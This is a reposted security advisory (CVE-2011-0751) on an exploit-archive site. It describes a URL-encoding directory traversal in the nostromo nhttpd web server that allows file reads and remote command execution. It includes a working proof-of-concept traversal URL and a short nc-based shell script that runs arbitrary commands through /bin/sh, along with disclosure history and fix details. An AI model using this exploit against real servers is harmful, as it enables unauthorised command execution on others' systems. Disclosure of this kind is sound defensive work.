首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Nostromo 1.9.3 Directory Traversal
来源:http://www.redteam-pentesting.de 作者:kontakt 发布时间:2011-03-17  
Advisory: nostromo nhttpd directory traversal leading to arbitrary
          command execution

During a penetration test, RedTeam Pentesting discovered a directory
traversal vulnerability leading to arbitrary command execution in the
nostromo HTTP server.


Details
=======

Product: nostromo (nhttpd)
Affected Versions: <= 1.9.3
Fixed Versions: CVS 2011-03-03, 1.9.4
Vulnerability Type: directory traversal
Security Risk: high
Vendor URL: http://www.nazgul.ch/dev_nostromo.html
Vendor Status: patch available
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2011-001
Advisory Status: published
CVE: CVE-2011-0751
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0751


Introduction
============

nhttpd is a simple, fast and secure HTTP server. It runs as a single
process, handling connections with select(2). For CGIs and directory
listing it does fork(2). nhttpd has the minimum of HTTP/1.1 and CGI/1.1
implemented.

(from the vendor's homepage)


More Details
============

When parsing HTTP requests, nostromo first checks for directory
traversal attempts by searching for /../ in the request URI. However
this check is performed before decoding escaped characters in the URI.
Thus, directory traversal is possible by e.g. escaping the slashes in
../ as %2f.

Unless the chroot feature of nostromo is used, any file in the system
that is readable with the runtime permissions of nostromo can be
accessed.

A peculiarity of nostromo is the handling of CGI scripts. Citing the
manual page, "CGIs are recognized by the file world executable flag".
Therefore, any program or script, that is executable by the system user
nostromo runs as, will be executed when one tries to access it through
directory traversal. Any data received in the body of a HTTP POST
request will be sent to standard input of executed CGI scripts.

By using directory traversal to send a HTTP POST request to /bin/sh, and
providing shell commands in the request body, arbitrary command
execution is possible. Similarly, interpreters of programming languages
that execute program code they receive via standard input, such as perl
or python, can be used to execute arbitrary program code in those
languages.


Proof of Concept
================

The access log of nostromo can be accessed using an URL like this:
http://www.example.org/..%2flogs/access_log

The following simple shell script implements the arbitrary command
execution described above using /bin/sh:

------------------------------------------------------------------------
#!/bin/sh
######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  kontakt@redteam-pentesting.de     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

if [ $# -lt 3 ]; then
    echo "Usage: $(basename $0) HOST PORT COMMAND..."
    exit 2
fi


HOST="$1"
PORT="$2"
shift 2

( \
    echo -n -e 'POST /..%2f..%2f..%2fbin/sh HTTP/1.0\r\n'; \
    echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
    echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
  | sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
------------------------------------------------------------------------


Workaround
==========

When serving static files, the impact of this vulnerability can be
reduced by using the chroot feature of nostromo. If CGI scripts are
used, any interpreter required for these scripts might allow being
abused as shown above.
The nostromo configuration and log files remain accessible even when
using the chroot feature.


Fix
===

Upgrade to development version from CVS as of 2011-03-03 or version
1.9.4, once released.


Security Risk
=============

As an attacker is potentially able to execute arbitrary commands
remotely, the risk is estimated as high.


History
=======

2011-01-12 Problem identified during a penetration test
2011-01-20 Customer approves contacting vendor
2011-01-26 CVE number requested
2011-01-31 Vendor notified
2011-02-02 CVE number assigned
2011-02-05 Vendor confirmed the vulnerability and sent first patch for
           review
2011-02-10 Vendor sent final patch for review
2011-03-03 Vendor releases fix
2011-03-15 Advisory released


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks or products are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.

-- 
RedTeam Pentesting GmbH                    Tel.: +49 241 963-1300
Dennewartstr. 25-27                        Fax : +49 241 963-1304
52068 Aachen                    http://www.redteam-pentesting.de/
Germany                         Registergericht: Aachen HRB 14004
Gesch�ftsf�hrer: Patrick Hof, Jens Liebchen, Claus R. F. Overbeck

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sun Java Applet2ClassLoader Re
·Monkey's File Audio Buffer Ove
·AVIPreview 0.26 Alpha Denial o
·MediaCoder 0.7.5.4796 SEH Buff
·Adobe ColdFusion - Directory T
·RealPlayer 11.0 Buffer Overflo
·HP OpenView Performance Insigh
·Microsoft Source Code Analyzer
·ACTi ASOC 2200 Web Configurato
·If-CMS 2.07 Pre-Auth Local Fil
·Fake Webcam v 6.1 Local Crash
·Opera 11.01 NULL PTR Derefernc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved